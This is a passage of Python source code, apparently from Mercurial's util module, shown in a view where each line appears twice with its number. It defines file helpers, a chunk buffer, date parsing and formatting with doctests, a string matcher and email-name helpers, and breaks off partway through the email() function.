1678 """Attempt to remove a file, ignoring ENOENT errors."""
1678 """Attempt to remove a file, ignoring ENOENT errors."""
1679 try:
1679 try:
1680 unlink(f)
1680 unlink(f)
1681 except OSError as e:
1681 except OSError as e:
1682 if e.errno != errno.ENOENT:
1682 if e.errno != errno.ENOENT:
1683 raise
1683 raise
1684
1684
1685 def makedirs(name, mode=None, notindexed=False):
1685 def makedirs(name, mode=None, notindexed=False):
1686 """recursive directory creation with parent mode inheritance
1686 """recursive directory creation with parent mode inheritance
1687
1687
1688 Newly created directories are marked as "not to be indexed by
1688 Newly created directories are marked as "not to be indexed by
1689 the content indexing service", if ``notindexed`` is specified
1689 the content indexing service", if ``notindexed`` is specified
1690 for "write" mode access.
1690 for "write" mode access.
1691 """
1691 """
1692 try:
1692 try:
1693 makedir(name, notindexed)
1693 makedir(name, notindexed)
1694 except OSError as err:
1694 except OSError as err:
1695 if err.errno == errno.EEXIST:
1695 if err.errno == errno.EEXIST:
1696 return
1696 return
1697 if err.errno != errno.ENOENT or not name:
1697 if err.errno != errno.ENOENT or not name:
1698 raise
1698 raise
1699 parent = os.path.dirname(os.path.abspath(name))
1699 parent = os.path.dirname(os.path.abspath(name))
1700 if parent == name:
1700 if parent == name:
1701 raise
1701 raise
1702 makedirs(parent, mode, notindexed)
1702 makedirs(parent, mode, notindexed)
1703 try:
1703 try:
1704 makedir(name, notindexed)
1704 makedir(name, notindexed)
1705 except OSError as err:
1705 except OSError as err:
1706 # Catch EEXIST to handle races
1706 # Catch EEXIST to handle races
1707 if err.errno == errno.EEXIST:
1707 if err.errno == errno.EEXIST:
1708 return
1708 return
1709 raise
1709 raise
1710 if mode is not None:
1710 if mode is not None:
1711 os.chmod(name, mode)
1711 os.chmod(name, mode)
1712
1712
1713 def readfile(path):
1713 def readfile(path):
1714 with open(path, 'rb') as fp:
1714 with open(path, 'rb') as fp:
1715 return fp.read()
1715 return fp.read()
1716
1716
1717 def writefile(path, text):
1717 def writefile(path, text):
1718 with open(path, 'wb') as fp:
1718 with open(path, 'wb') as fp:
1719 fp.write(text)
1719 fp.write(text)
1720
1720
1721 def appendfile(path, text):
1721 def appendfile(path, text):
1722 with open(path, 'ab') as fp:
1722 with open(path, 'ab') as fp:
1723 fp.write(text)
1723 fp.write(text)
1724
1724
1725 class chunkbuffer(object):
1725 class chunkbuffer(object):
1726 """Allow arbitrary sized chunks of data to be efficiently read from an
1726 """Allow arbitrary sized chunks of data to be efficiently read from an
1727 iterator over chunks of arbitrary size."""
1727 iterator over chunks of arbitrary size."""
1728
1728
1729 def __init__(self, in_iter):
1729 def __init__(self, in_iter):
1730 """in_iter is the iterator that's iterating over the input chunks.
1730 """in_iter is the iterator that's iterating over the input chunks.
1731 targetsize is how big a buffer to try to maintain."""
1731 targetsize is how big a buffer to try to maintain."""
1732 def splitbig(chunks):
1732 def splitbig(chunks):
1733 for chunk in chunks:
1733 for chunk in chunks:
1734 if len(chunk) > 2**20:
1734 if len(chunk) > 2**20:
1735 pos = 0
1735 pos = 0
1736 while pos < len(chunk):
1736 while pos < len(chunk):
1737 end = pos + 2 ** 18
1737 end = pos + 2 ** 18
1738 yield chunk[pos:end]
1738 yield chunk[pos:end]
1739 pos = end
1739 pos = end
1740 else:
1740 else:
1741 yield chunk
1741 yield chunk
1742 self.iter = splitbig(in_iter)
1742 self.iter = splitbig(in_iter)
1743 self._queue = collections.deque()
1743 self._queue = collections.deque()
1744 self._chunkoffset = 0
1744 self._chunkoffset = 0
1745
1745
1746 def read(self, l=None):
1746 def read(self, l=None):
1747 """Read L bytes of data from the iterator of chunks of data.
1747 """Read L bytes of data from the iterator of chunks of data.
1748 Returns less than L bytes if the iterator runs dry.
1748 Returns less than L bytes if the iterator runs dry.
1749
1749
1750 If size parameter is omitted, read everything"""
1750 If size parameter is omitted, read everything"""
1751 if l is None:
1751 if l is None:
1752 return ''.join(self.iter)
1752 return ''.join(self.iter)
1753
1753
1754 left = l
1754 left = l
1755 buf = []
1755 buf = []
1756 queue = self._queue
1756 queue = self._queue
1757 while left > 0:
1757 while left > 0:
1758 # refill the queue
1758 # refill the queue
1759 if not queue:
1759 if not queue:
1760 target = 2**18
1760 target = 2**18
1761 for chunk in self.iter:
1761 for chunk in self.iter:
1762 queue.append(chunk)
1762 queue.append(chunk)
1763 target -= len(chunk)
1763 target -= len(chunk)
1764 if target <= 0:
1764 if target <= 0:
1765 break
1765 break
1766 if not queue:
1766 if not queue:
1767 break
1767 break
1768
1768
1769 # The easy way to do this would be to queue.popleft(), modify the
1769 # The easy way to do this would be to queue.popleft(), modify the
1770 # chunk (if necessary), then queue.appendleft(). However, for cases
1770 # chunk (if necessary), then queue.appendleft(). However, for cases
1771 # where we read partial chunk content, this incurs 2 dequeue
1771 # where we read partial chunk content, this incurs 2 dequeue
1772 # mutations and creates a new str for the remaining chunk in the
1772 # mutations and creates a new str for the remaining chunk in the
1773 # queue. Our code below avoids this overhead.
1773 # queue. Our code below avoids this overhead.
1774
1774
1775 chunk = queue[0]
1775 chunk = queue[0]
1776 chunkl = len(chunk)
1776 chunkl = len(chunk)
1777 offset = self._chunkoffset
1777 offset = self._chunkoffset
1778
1778
1779 # Use full chunk.
1779 # Use full chunk.
1780 if offset == 0 and left >= chunkl:
1780 if offset == 0 and left >= chunkl:
1781 left -= chunkl
1781 left -= chunkl
1782 queue.popleft()
1782 queue.popleft()
1783 buf.append(chunk)
1783 buf.append(chunk)
1784 # self._chunkoffset remains at 0.
1784 # self._chunkoffset remains at 0.
1785 continue
1785 continue
1786
1786
1787 chunkremaining = chunkl - offset
1787 chunkremaining = chunkl - offset
1788
1788
1789 # Use all of unconsumed part of chunk.
1789 # Use all of unconsumed part of chunk.
1790 if left >= chunkremaining:
1790 if left >= chunkremaining:
1791 left -= chunkremaining
1791 left -= chunkremaining
1792 queue.popleft()
1792 queue.popleft()
1793 # offset == 0 is enabled by block above, so this won't merely
1793 # offset == 0 is enabled by block above, so this won't merely
1794 # copy via ``chunk[0:]``.
1794 # copy via ``chunk[0:]``.
1795 buf.append(chunk[offset:])
1795 buf.append(chunk[offset:])
1796 self._chunkoffset = 0
1796 self._chunkoffset = 0
1797
1797
1798 # Partial chunk needed.
1798 # Partial chunk needed.
1799 else:
1799 else:
1800 buf.append(chunk[offset:offset + left])
1800 buf.append(chunk[offset:offset + left])
1801 self._chunkoffset += left
1801 self._chunkoffset += left
1802 left -= chunkremaining
1802 left -= chunkremaining
1803
1803
1804 return ''.join(buf)
1804 return ''.join(buf)
1805
1805
1806 def filechunkiter(f, size=131072, limit=None):
1806 def filechunkiter(f, size=131072, limit=None):
1807 """Create a generator that produces the data in the file size
1807 """Create a generator that produces the data in the file size
1808 (default 131072) bytes at a time, up to optional limit (default is
1808 (default 131072) bytes at a time, up to optional limit (default is
1809 to read all data). Chunks may be less than size bytes if the
1809 to read all data). Chunks may be less than size bytes if the
1810 chunk is the last chunk in the file, or the file is a socket or
1810 chunk is the last chunk in the file, or the file is a socket or
1811 some other type of file that sometimes reads less data than is
1811 some other type of file that sometimes reads less data than is
1812 requested."""
1812 requested."""
1813 assert size >= 0
1813 assert size >= 0
1814 assert limit is None or limit >= 0
1814 assert limit is None or limit >= 0
1815 while True:
1815 while True:
1816 if limit is None:
1816 if limit is None:
1817 nbytes = size
1817 nbytes = size
1818 else:
1818 else:
1819 nbytes = min(limit, size)
1819 nbytes = min(limit, size)
1820 s = nbytes and f.read(nbytes)
1820 s = nbytes and f.read(nbytes)
1821 if not s:
1821 if not s:
1822 break
1822 break
1823 if limit:
1823 if limit:
1824 limit -= len(s)
1824 limit -= len(s)
1825 yield s
1825 yield s
1826
1826
1827 def makedate(timestamp=None):
1827 def makedate(timestamp=None):
1828 '''Return a unix timestamp (or the current time) as a (unixtime,
1828 '''Return a unix timestamp (or the current time) as a (unixtime,
1829 offset) tuple based off the local timezone.'''
1829 offset) tuple based off the local timezone.'''
1830 if timestamp is None:
1830 if timestamp is None:
1831 timestamp = time.time()
1831 timestamp = time.time()
1832 if timestamp < 0:
1832 if timestamp < 0:
1833 hint = _("check your clock")
1833 hint = _("check your clock")
1834 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1834 raise Abort(_("negative timestamp: %d") % timestamp, hint=hint)
1835 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1835 delta = (datetime.datetime.utcfromtimestamp(timestamp) -
1836 datetime.datetime.fromtimestamp(timestamp))
1836 datetime.datetime.fromtimestamp(timestamp))
1837 tz = delta.days * 86400 + delta.seconds
1837 tz = delta.days * 86400 + delta.seconds
1838 return timestamp, tz
1838 return timestamp, tz
1839
1839
1840 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1840 def datestr(date=None, format='%a %b %d %H:%M:%S %Y %1%2'):
1841 """represent a (unixtime, offset) tuple as a localized time.
1841 """represent a (unixtime, offset) tuple as a localized time.
1842 unixtime is seconds since the epoch, and offset is the time zone's
1842 unixtime is seconds since the epoch, and offset is the time zone's
1843 number of seconds away from UTC.
1843 number of seconds away from UTC.
1844
1844
1845 >>> datestr((0, 0))
1845 >>> datestr((0, 0))
1846 'Thu Jan 01 00:00:00 1970 +0000'
1846 'Thu Jan 01 00:00:00 1970 +0000'
1847 >>> datestr((42, 0))
1847 >>> datestr((42, 0))
1848 'Thu Jan 01 00:00:42 1970 +0000'
1848 'Thu Jan 01 00:00:42 1970 +0000'
1849 >>> datestr((-42, 0))
1849 >>> datestr((-42, 0))
1850 'Wed Dec 31 23:59:18 1969 +0000'
1850 'Wed Dec 31 23:59:18 1969 +0000'
1851 >>> datestr((0x7fffffff, 0))
1851 >>> datestr((0x7fffffff, 0))
1852 'Tue Jan 19 03:14:07 2038 +0000'
1852 'Tue Jan 19 03:14:07 2038 +0000'
1853 >>> datestr((-0x80000000, 0))
1853 >>> datestr((-0x80000000, 0))
1854 'Fri Dec 13 20:45:52 1901 +0000'
1854 'Fri Dec 13 20:45:52 1901 +0000'
1855 """
1855 """
1856 t, tz = date or makedate()
1856 t, tz = date or makedate()
1857 if "%1" in format or "%2" in format or "%z" in format:
1857 if "%1" in format or "%2" in format or "%z" in format:
1858 sign = (tz > 0) and "-" or "+"
1858 sign = (tz > 0) and "-" or "+"
1859 minutes = abs(tz) // 60
1859 minutes = abs(tz) // 60
1860 q, r = divmod(minutes, 60)
1860 q, r = divmod(minutes, 60)
1861 format = format.replace("%z", "%1%2")
1861 format = format.replace("%z", "%1%2")
1862 format = format.replace("%1", "%c%02d" % (sign, q))
1862 format = format.replace("%1", "%c%02d" % (sign, q))
1863 format = format.replace("%2", "%02d" % r)
1863 format = format.replace("%2", "%02d" % r)
1864 d = t - tz
1864 d = t - tz
1865 if d > 0x7fffffff:
1865 if d > 0x7fffffff:
1866 d = 0x7fffffff
1866 d = 0x7fffffff
1867 elif d < -0x80000000:
1867 elif d < -0x80000000:
1868 d = -0x80000000
1868 d = -0x80000000
1869 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1869 # Never use time.gmtime() and datetime.datetime.fromtimestamp()
1870 # because they use the gmtime() system call which is buggy on Windows
1870 # because they use the gmtime() system call which is buggy on Windows
1871 # for negative values.
1871 # for negative values.
1872 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1872 t = datetime.datetime(1970, 1, 1) + datetime.timedelta(seconds=d)
1873 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1873 s = encoding.strtolocal(t.strftime(encoding.strfromlocal(format)))
1874 return s
1874 return s
1875
1875
1876 def shortdate(date=None):
1876 def shortdate(date=None):
1877 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1877 """turn (timestamp, tzoff) tuple into iso 8631 date."""
1878 return datestr(date, format='%Y-%m-%d')
1878 return datestr(date, format='%Y-%m-%d')
1879
1879
1880 def parsetimezone(s):
1880 def parsetimezone(s):
1881 """find a trailing timezone, if any, in string, and return a
1881 """find a trailing timezone, if any, in string, and return a
1882 (offset, remainder) pair"""
1882 (offset, remainder) pair"""
1883
1883
1884 if s.endswith("GMT") or s.endswith("UTC"):
1884 if s.endswith("GMT") or s.endswith("UTC"):
1885 return 0, s[:-3].rstrip()
1885 return 0, s[:-3].rstrip()
1886
1886
1887 # Unix-style timezones [+-]hhmm
1887 # Unix-style timezones [+-]hhmm
1888 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1888 if len(s) >= 5 and s[-5] in "+-" and s[-4:].isdigit():
1889 sign = (s[-5] == "+") and 1 or -1
1889 sign = (s[-5] == "+") and 1 or -1
1890 hours = int(s[-4:-2])
1890 hours = int(s[-4:-2])
1891 minutes = int(s[-2:])
1891 minutes = int(s[-2:])
1892 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1892 return -sign * (hours * 60 + minutes) * 60, s[:-5].rstrip()
1893
1893
1894 # ISO8601 trailing Z
1894 # ISO8601 trailing Z
1895 if s.endswith("Z") and s[-2:-1].isdigit():
1895 if s.endswith("Z") and s[-2:-1].isdigit():
1896 return 0, s[:-1]
1896 return 0, s[:-1]
1897
1897
1898 # ISO8601-style [+-]hh:mm
1898 # ISO8601-style [+-]hh:mm
1899 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1899 if (len(s) >= 6 and s[-6] in "+-" and s[-3] == ":" and
1900 s[-5:-3].isdigit() and s[-2:].isdigit()):
1900 s[-5:-3].isdigit() and s[-2:].isdigit()):
1901 sign = (s[-6] == "+") and 1 or -1
1901 sign = (s[-6] == "+") and 1 or -1
1902 hours = int(s[-5:-3])
1902 hours = int(s[-5:-3])
1903 minutes = int(s[-2:])
1903 minutes = int(s[-2:])
1904 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1904 return -sign * (hours * 60 + minutes) * 60, s[:-6]
1905
1905
1906 return None, s
1906 return None, s
1907
1907
1908 def strdate(string, format, defaults=None):
1908 def strdate(string, format, defaults=None):
1909 """parse a localized time string and return a (unixtime, offset) tuple.
1909 """parse a localized time string and return a (unixtime, offset) tuple.
1910 if the string cannot be parsed, ValueError is raised."""
1910 if the string cannot be parsed, ValueError is raised."""
1911 if defaults is None:
1911 if defaults is None:
1912 defaults = {}
1912 defaults = {}
1913
1913
1914 # NOTE: unixtime = localunixtime + offset
1914 # NOTE: unixtime = localunixtime + offset
1915 offset, date = parsetimezone(string)
1915 offset, date = parsetimezone(string)
1916
1916
1917 # add missing elements from defaults
1917 # add missing elements from defaults
1918 usenow = False # default to using biased defaults
1918 usenow = False # default to using biased defaults
1919 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1919 for part in ("S", "M", "HI", "d", "mb", "yY"): # decreasing specificity
1920 found = [True for p in part if ("%"+p) in format]
1920 found = [True for p in part if ("%"+p) in format]
1921 if not found:
1921 if not found:
1922 date += "@" + defaults[part][usenow]
1922 date += "@" + defaults[part][usenow]
1923 format += "@%" + part[0]
1923 format += "@%" + part[0]
1924 else:
1924 else:
1925 # We've found a specific time element, less specific time
1925 # We've found a specific time element, less specific time
1926 # elements are relative to today
1926 # elements are relative to today
1927 usenow = True
1927 usenow = True
1928
1928
1929 timetuple = time.strptime(date, format)
1929 timetuple = time.strptime(date, format)
1930 localunixtime = int(calendar.timegm(timetuple))
1930 localunixtime = int(calendar.timegm(timetuple))
1931 if offset is None:
1931 if offset is None:
1932 # local timezone
1932 # local timezone
1933 unixtime = int(time.mktime(timetuple))
1933 unixtime = int(time.mktime(timetuple))
1934 offset = unixtime - localunixtime
1934 offset = unixtime - localunixtime
1935 else:
1935 else:
1936 unixtime = localunixtime + offset
1936 unixtime = localunixtime + offset
1937 return unixtime, offset
1937 return unixtime, offset
1938
1938
1939 def parsedate(date, formats=None, bias=None):
1939 def parsedate(date, formats=None, bias=None):
1940 """parse a localized date/time and return a (unixtime, offset) tuple.
1940 """parse a localized date/time and return a (unixtime, offset) tuple.
1941
1941
1942 The date may be a "unixtime offset" string or in one of the specified
1942 The date may be a "unixtime offset" string or in one of the specified
1943 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1943 formats. If the date already is a (unixtime, offset) tuple, it is returned.
1944
1944
1945 >>> parsedate(' today ') == parsedate(\
1945 >>> parsedate(' today ') == parsedate(\
1946 datetime.date.today().strftime('%b %d'))
1946 datetime.date.today().strftime('%b %d'))
1947 True
1947 True
1948 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
1948 >>> parsedate( 'yesterday ') == parsedate((datetime.date.today() -\
1949 datetime.timedelta(days=1)\
1949 datetime.timedelta(days=1)\
1950 ).strftime('%b %d'))
1950 ).strftime('%b %d'))
1951 True
1951 True
1952 >>> now, tz = makedate()
1952 >>> now, tz = makedate()
1953 >>> strnow, strtz = parsedate('now')
1953 >>> strnow, strtz = parsedate('now')
1954 >>> (strnow - now) < 1
1954 >>> (strnow - now) < 1
1955 True
1955 True
1956 >>> tz == strtz
1956 >>> tz == strtz
1957 True
1957 True
1958 """
1958 """
1959 if bias is None:
1959 if bias is None:
1960 bias = {}
1960 bias = {}
1961 if not date:
1961 if not date:
1962 return 0, 0
1962 return 0, 0
1963 if isinstance(date, tuple) and len(date) == 2:
1963 if isinstance(date, tuple) and len(date) == 2:
1964 return date
1964 return date
1965 if not formats:
1965 if not formats:
1966 formats = defaultdateformats
1966 formats = defaultdateformats
1967 date = date.strip()
1967 date = date.strip()
1968
1968
1969 if date == 'now' or date == _('now'):
1969 if date == 'now' or date == _('now'):
1970 return makedate()
1970 return makedate()
1971 if date == 'today' or date == _('today'):
1971 if date == 'today' or date == _('today'):
1972 date = datetime.date.today().strftime('%b %d')
1972 date = datetime.date.today().strftime('%b %d')
1973 elif date == 'yesterday' or date == _('yesterday'):
1973 elif date == 'yesterday' or date == _('yesterday'):
1974 date = (datetime.date.today() -
1974 date = (datetime.date.today() -
1975 datetime.timedelta(days=1)).strftime('%b %d')
1975 datetime.timedelta(days=1)).strftime('%b %d')
1976
1976
1977 try:
1977 try:
1978 when, offset = map(int, date.split(' '))
1978 when, offset = map(int, date.split(' '))
1979 except ValueError:
1979 except ValueError:
1980 # fill out defaults
1980 # fill out defaults
1981 now = makedate()
1981 now = makedate()
1982 defaults = {}
1982 defaults = {}
1983 for part in ("d", "mb", "yY", "HI", "M", "S"):
1983 for part in ("d", "mb", "yY", "HI", "M", "S"):
1984 # this piece is for rounding the specific end of unknowns
1984 # this piece is for rounding the specific end of unknowns
1985 b = bias.get(part)
1985 b = bias.get(part)
1986 if b is None:
1986 if b is None:
1987 if part[0] in "HMS":
1987 if part[0] in "HMS":
1988 b = "00"
1988 b = "00"
1989 else:
1989 else:
1990 b = "0"
1990 b = "0"
1991
1991
1992 # this piece is for matching the generic end to today's date
1992 # this piece is for matching the generic end to today's date
1993 n = datestr(now, "%" + part[0])
1993 n = datestr(now, "%" + part[0])
1994
1994
1995 defaults[part] = (b, n)
1995 defaults[part] = (b, n)
1996
1996
1997 for format in formats:
1997 for format in formats:
1998 try:
1998 try:
1999 when, offset = strdate(date, format, defaults)
1999 when, offset = strdate(date, format, defaults)
2000 except (ValueError, OverflowError):
2000 except (ValueError, OverflowError):
2001 pass
2001 pass
2002 else:
2002 else:
2003 break
2003 break
2004 else:
2004 else:
2005 raise Abort(_('invalid date: %r') % date)
2005 raise Abort(_('invalid date: %r') % date)
2006 # validate explicit (probably user-specified) date and
2006 # validate explicit (probably user-specified) date and
2007 # time zone offset. values must fit in signed 32 bits for
2007 # time zone offset. values must fit in signed 32 bits for
2008 # current 32-bit linux runtimes. timezones go from UTC-12
2008 # current 32-bit linux runtimes. timezones go from UTC-12
2009 # to UTC+14
2009 # to UTC+14
2010 if when < -0x80000000 or when > 0x7fffffff:
2010 if when < -0x80000000 or when > 0x7fffffff:
2011 raise Abort(_('date exceeds 32 bits: %d') % when)
2011 raise Abort(_('date exceeds 32 bits: %d') % when)
2012 if offset < -50400 or offset > 43200:
2012 if offset < -50400 or offset > 43200:
2013 raise Abort(_('impossible time zone offset: %d') % offset)
2013 raise Abort(_('impossible time zone offset: %d') % offset)
2014 return when, offset
2014 return when, offset
2015
2015
2016 def matchdate(date):
2016 def matchdate(date):
2017 """Return a function that matches a given date match specifier
2017 """Return a function that matches a given date match specifier
2018
2018
2019 Formats include:
2019 Formats include:
2020
2020
2021 '{date}' match a given date to the accuracy provided
2021 '{date}' match a given date to the accuracy provided
2022
2022
2023 '<{date}' on or before a given date
2023 '<{date}' on or before a given date
2024
2024
2025 '>{date}' on or after a given date
2025 '>{date}' on or after a given date
2026
2026
2027 >>> p1 = parsedate("10:29:59")
2027 >>> p1 = parsedate("10:29:59")
2028 >>> p2 = parsedate("10:30:00")
2028 >>> p2 = parsedate("10:30:00")
2029 >>> p3 = parsedate("10:30:59")
2029 >>> p3 = parsedate("10:30:59")
2030 >>> p4 = parsedate("10:31:00")
2030 >>> p4 = parsedate("10:31:00")
2031 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2031 >>> p5 = parsedate("Sep 15 10:30:00 1999")
2032 >>> f = matchdate("10:30")
2032 >>> f = matchdate("10:30")
2033 >>> f(p1[0])
2033 >>> f(p1[0])
2034 False
2034 False
2035 >>> f(p2[0])
2035 >>> f(p2[0])
2036 True
2036 True
2037 >>> f(p3[0])
2037 >>> f(p3[0])
2038 True
2038 True
2039 >>> f(p4[0])
2039 >>> f(p4[0])
2040 False
2040 False
2041 >>> f(p5[0])
2041 >>> f(p5[0])
2042 False
2042 False
2043 """
2043 """
2044
2044
2045 def lower(date):
2045 def lower(date):
2046 d = {'mb': "1", 'd': "1"}
2046 d = {'mb': "1", 'd': "1"}
2047 return parsedate(date, extendeddateformats, d)[0]
2047 return parsedate(date, extendeddateformats, d)[0]
2048
2048
2049 def upper(date):
2049 def upper(date):
2050 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2050 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"}
2051 for days in ("31", "30", "29"):
2051 for days in ("31", "30", "29"):
2052 try:
2052 try:
2053 d["d"] = days
2053 d["d"] = days
2054 return parsedate(date, extendeddateformats, d)[0]
2054 return parsedate(date, extendeddateformats, d)[0]
2055 except Abort:
2055 except Abort:
2056 pass
2056 pass
2057 d["d"] = "28"
2057 d["d"] = "28"
2058 return parsedate(date, extendeddateformats, d)[0]
2058 return parsedate(date, extendeddateformats, d)[0]
2059
2059
2060 date = date.strip()
2060 date = date.strip()
2061
2061
2062 if not date:
2062 if not date:
2063 raise Abort(_("dates cannot consist entirely of whitespace"))
2063 raise Abort(_("dates cannot consist entirely of whitespace"))
2064 elif date[0] == "<":
2064 elif date[0] == "<":
2065 if not date[1:]:
2065 if not date[1:]:
2066 raise Abort(_("invalid day spec, use '<DATE'"))
2066 raise Abort(_("invalid day spec, use '<DATE'"))
2067 when = upper(date[1:])
2067 when = upper(date[1:])
2068 return lambda x: x <= when
2068 return lambda x: x <= when
2069 elif date[0] == ">":
2069 elif date[0] == ">":
2070 if not date[1:]:
2070 if not date[1:]:
2071 raise Abort(_("invalid day spec, use '>DATE'"))
2071 raise Abort(_("invalid day spec, use '>DATE'"))
2072 when = lower(date[1:])
2072 when = lower(date[1:])
2073 return lambda x: x >= when
2073 return lambda x: x >= when
2074 elif date[0] == "-":
2074 elif date[0] == "-":
2075 try:
2075 try:
2076 days = int(date[1:])
2076 days = int(date[1:])
2077 except ValueError:
2077 except ValueError:
2078 raise Abort(_("invalid day spec: %s") % date[1:])
2078 raise Abort(_("invalid day spec: %s") % date[1:])
2079 if days < 0:
2079 if days < 0:
2080 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2080 raise Abort(_("%s must be nonnegative (see 'hg help dates')")
2081 % date[1:])
2081 % date[1:])
2082 when = makedate()[0] - days * 3600 * 24
2082 when = makedate()[0] - days * 3600 * 24
2083 return lambda x: x >= when
2083 return lambda x: x >= when
2084 elif " to " in date:
2084 elif " to " in date:
2085 a, b = date.split(" to ")
2085 a, b = date.split(" to ")
2086 start, stop = lower(a), upper(b)
2086 start, stop = lower(a), upper(b)
2087 return lambda x: x >= start and x <= stop
2087 return lambda x: x >= start and x <= stop
2088 else:
2088 else:
2089 start, stop = lower(date), upper(date)
2089 start, stop = lower(date), upper(date)
2090 return lambda x: x >= start and x <= stop
2090 return lambda x: x >= start and x <= stop
2091
2091
2092 def stringmatcher(pattern, casesensitive=True):
2092 def stringmatcher(pattern, casesensitive=True):
2093 """
2093 """
2094 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2094 accepts a string, possibly starting with 're:' or 'literal:' prefix.
2095 returns the matcher name, pattern, and matcher function.
2095 returns the matcher name, pattern, and matcher function.
2096 missing or unknown prefixes are treated as literal matches.
2096 missing or unknown prefixes are treated as literal matches.
2097
2097
2098 helper for tests:
2098 helper for tests:
2099 >>> def test(pattern, *tests):
2099 >>> def test(pattern, *tests):
2100 ... kind, pattern, matcher = stringmatcher(pattern)
2100 ... kind, pattern, matcher = stringmatcher(pattern)
2101 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2101 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2102 >>> def itest(pattern, *tests):
2102 >>> def itest(pattern, *tests):
2103 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2103 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False)
2104 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2104 ... return (kind, pattern, [bool(matcher(t)) for t in tests])
2105
2105
2106 exact matching (no prefix):
2106 exact matching (no prefix):
2107 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2107 >>> test('abcdefg', 'abc', 'def', 'abcdefg')
2108 ('literal', 'abcdefg', [False, False, True])
2108 ('literal', 'abcdefg', [False, False, True])
2109
2109
2110 regex matching ('re:' prefix)
2110 regex matching ('re:' prefix)
2111 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2111 >>> test('re:a.+b', 'nomatch', 'fooadef', 'fooadefbar')
2112 ('re', 'a.+b', [False, False, True])
2112 ('re', 'a.+b', [False, False, True])
2113
2113
2114 force exact matches ('literal:' prefix)
2114 force exact matches ('literal:' prefix)
2115 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2115 >>> test('literal:re:foobar', 'foobar', 're:foobar')
2116 ('literal', 're:foobar', [False, True])
2116 ('literal', 're:foobar', [False, True])
2117
2117
2118 unknown prefixes are ignored and treated as literals
2118 unknown prefixes are ignored and treated as literals
2119 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2119 >>> test('foo:bar', 'foo', 'bar', 'foo:bar')
2120 ('literal', 'foo:bar', [False, False, True])
2120 ('literal', 'foo:bar', [False, False, True])
2121
2121
2122 case insensitive regex matches
2122 case insensitive regex matches
2123 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2123 >>> itest('re:A.+b', 'nomatch', 'fooadef', 'fooadefBar')
2124 ('re', 'A.+b', [False, False, True])
2124 ('re', 'A.+b', [False, False, True])
2125
2125
2126 case insensitive literal matches
2126 case insensitive literal matches
2127 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2127 >>> itest('ABCDEFG', 'abc', 'def', 'abcdefg')
2128 ('literal', 'ABCDEFG', [False, False, True])
2128 ('literal', 'ABCDEFG', [False, False, True])
2129 """
2129 """
2130 if pattern.startswith('re:'):
2130 if pattern.startswith('re:'):
2131 pattern = pattern[3:]
2131 pattern = pattern[3:]
2132 try:
2132 try:
2133 flags = 0
2133 flags = 0
2134 if not casesensitive:
2134 if not casesensitive:
2135 flags = remod.I
2135 flags = remod.I
2136 regex = remod.compile(pattern, flags)
2136 regex = remod.compile(pattern, flags)
2137 except remod.error as e:
2137 except remod.error as e:
2138 raise error.ParseError(_('invalid regular expression: %s')
2138 raise error.ParseError(_('invalid regular expression: %s')
2139 % e)
2139 % e)
2140 return 're', pattern, regex.search
2140 return 're', pattern, regex.search
2141 elif pattern.startswith('literal:'):
2141 elif pattern.startswith('literal:'):
2142 pattern = pattern[8:]
2142 pattern = pattern[8:]
2143
2143
2144 match = pattern.__eq__
2144 match = pattern.__eq__
2145
2145
2146 if not casesensitive:
2146 if not casesensitive:
2147 ipat = encoding.lower(pattern)
2147 ipat = encoding.lower(pattern)
2148 match = lambda s: ipat == encoding.lower(s)
2148 match = lambda s: ipat == encoding.lower(s)
2149 return 'literal', pattern, match
2149 return 'literal', pattern, match
2150
2150
2151 def shortuser(user):
2151 def shortuser(user):
2152 """Return a short representation of a user name or email address."""
2152 """Return a short representation of a user name or email address."""
2153 f = user.find('@')
2153 f = user.find('@')
2154 if f >= 0:
2154 if f >= 0:
2155 user = user[:f]
2155 user = user[:f]
2156 f = user.find('<')
2156 f = user.find('<')
2157 if f >= 0:
2157 if f >= 0:
2158 user = user[f + 1:]
2158 user = user[f + 1:]
2159 f = user.find(' ')
2159 f = user.find(' ')
2160 if f >= 0:
2160 if f >= 0:
2161 user = user[:f]
2161 user = user[:f]
2162 f = user.find('.')
2162 f = user.find('.')
2163 if f >= 0:
2163 if f >= 0:
2164 user = user[:f]
2164 user = user[:f]
2165 return user
2165 return user
2166
2166
2167 def emailuser(user):
2167 def emailuser(user):
2168 """Return the user portion of an email address."""
2168 """Return the user portion of an email address."""
2169 f = user.find('@')
2169 f = user.find('@')
2170 if f >= 0:
2170 if f >= 0:
2171 user = user[:f]
2171 user = user[:f]
2172 f = user.find('<')
2172 f = user.find('<')
2173 if f >= 0:
2173 if f >= 0:
2174 user = user[f + 1:]
2174 user = user[f + 1:]
2175 return user
2175 return user
2176
2176
2177 def email(author):
2177 def email(author):
2178 '''get email of author.'''
2178 '''get email of author.'''
2179 r = author.find('>')
2179 r = author.find('>')
2180 if r == -1:
2180 if r == -1:
2181 r = None
2181 r = None
